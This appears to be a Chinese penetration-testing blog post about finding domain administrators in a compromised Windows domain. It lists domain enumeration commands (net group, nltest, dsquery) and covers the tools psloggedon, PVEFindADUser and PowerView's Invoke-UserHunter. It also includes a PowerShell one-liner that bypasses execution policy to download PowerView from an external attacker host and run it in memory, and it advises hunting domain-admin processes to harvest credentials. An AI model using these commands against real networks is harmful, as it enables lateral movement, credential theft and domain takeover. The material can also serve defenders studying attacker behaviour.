在有域的環境中,要進行進一步滲透,一定會向域管理員權限靠攏的
關於之前域內信息收集的命令,我在之前文章有整理過
今天不提信息收集,畢竟信息收集是個大活,也寫不完
關於橫向移動和hash抓取,我之前文章也有講
今天就說如何在信息收集中,定位域管理員的小知識點
從域內一台機器上,定位域管理員有兩種渠道,要么日志,要么會話
日志可以導出查看、會話的話,康康域中機器的登錄會話是哪一個,也許有意外收獲
0x00 前言
先做一些准備工作,遞進關系
在域中任意機器上執行
net view /domain
查看當前域名
net view /domain:域名
查看域內部所有計算機名
net group /domain
查看域內部所有用戶組列表
net group "domain computers" /domain
查看所有域成員計算機列表
net accounts /domain
查看域密碼信息
nltest /domian_trusts
獲取域信任信息
nltest /DCLIST:域名
查看域控制器機器名
net time /domain
查看當前時間,因為時間服務器也是主域服務器,可以看到域服務器的機器名
net group "Domain Controllers" /domain
查看域控制器組,因為可能有不止一台域控,有主備之分
net user /domain
查詢域內用戶,會看到熟悉的krbtgt用戶
wmic useraccount get /all
獲取域內用戶詳細信息
dsquery user
查看域內存在的用戶
net localgroup administrators
查看本地管理員用戶組
net group "domain admins" /domain
查詢域管理員用戶
......那么問題來了
既然可以查到域中有哪些域管理員賬號,那這篇文章講什么呢?
講的是定位,看一眼,有哪些賬號登錄了哪些機器,不然你抓密碼都不知道去哪抓
0x01 psloggedon.exe
下載鏈接 https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon
pstools大禮包中自帶此工具
此工具用於查看本地登錄的用戶和通過本地計算機或遠程計算機資源登錄的用戶
psloggedon.exe [-] [-l] [-x] [\\computername或username]
\\后面接的是域控機器名,看一下登錄過域控的用戶名
如果\\接的是用戶名,那就會搜索網上鄰居的計算機,並顯示當前用戶是否已經登錄
據說此工具某些功能需要管理員權限,我也沒測試出具體哪些功能有限制
后面接用戶名可以查看此用戶登錄過的計算機
不過此工具本質是檢測注冊表中HKEY_USERS的key值、調用了NetSessionEnum的API來判斷誰登錄過哪台機器,如果無法讀取或者讀取注冊表失敗,此工具效果很差
0x02 PVEFindADUser.exe
下載鏈接 https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersLoggedOn
功能也是查找域用戶位置、某計算機上登錄用戶。運行需要計算機支持framework2.0且以管理員權限運行
直接pvefinaduser.exe -current,一把梭,即可查看域中所有計算機的登錄用戶
但是貌似系統判斷精准度有些問題。。。
0x03 PowerView.ps1 腳本
下載鏈接 : https://github.com/PowerShellEmpire/PowerTools
Invoke-UserHunter:找到域內特定的用戶群
打開powershell,進入Recon目錄,輸入Import-Module .\PowerView.ps1 導入腳本
然后輸入Invoke-UserHunter
即可獲得所有域管理員的登錄位置信息
我這是在本機演示的,有此工具,實際上可能目標機器並沒有這個工具,那就需要遠程導入了
比如
powershell.exe -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://外網IP/powersploit/Recon/PowerView.ps1');Invoke-UserHunter
類似這種的情況可能多一些
補充:
如果我們上一步確定了域管理員登錄了哪台機器,可以通過尋找域管理員登錄進程,來收集域管理員憑據
啊,但是,可能你獲得權限的登錄這台機器的用戶不是域管理員權限用戶,且沒有管理員權限的用戶登錄過這台機器,那就比較蛋疼
比如在你獲取權限的機器上執行:
net group "Domain Admins" /domain 獲取域管理員列表
tasklist /v 列出本機所有進程及進程用戶
如果有域管理員登錄這台機器就會有匹配的進程了
但大多數情況下不會有這么好運氣
另:PowerView是個好東西
未經允許,禁止轉載